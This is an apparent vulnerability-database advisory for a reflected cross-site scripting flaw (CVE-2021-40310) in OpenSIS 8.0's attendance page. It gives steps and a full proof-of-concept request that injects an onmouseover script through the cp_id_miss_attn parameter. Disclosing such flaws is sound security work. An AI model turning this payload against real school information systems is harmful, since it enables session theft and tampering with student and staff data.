OpenSIS 8.0 Cross Site Scripting

2021.09.29
Credit: Eric Salario
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


Ogólna skala CVSS: 3.5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 6.8/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Jednorazowa
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

# Exploit Title: OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS) # Date: 9/24/2021 # Exploit Author: Eric Salario # Vendor Homepage: http://www.os4ed.com/ # Software Link: https://opensis.com/download # Version: 8.0 # Tested on: Windows, Linux # CVE : CVE-2021-40310 OpenSIS Community Edition version 8.0 is affected by a cross-site scripting (XSS) vulnerability in the TakeAttendance.php via the cp_id_miss_attn parameter. 1. Login as "teacher". 2. Navigate to (take attendance): http://demo.opensis.com/ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true Decoded request: GET /ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7 onmouseover=alert(document.domain) style=position:absolute;width:100%;height:100%;top:0;left:0; z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true HTTP/1.1 3. XSS triggers PoC Video: https://www.youtube.com/watch?v=aPKPUDmmYpc


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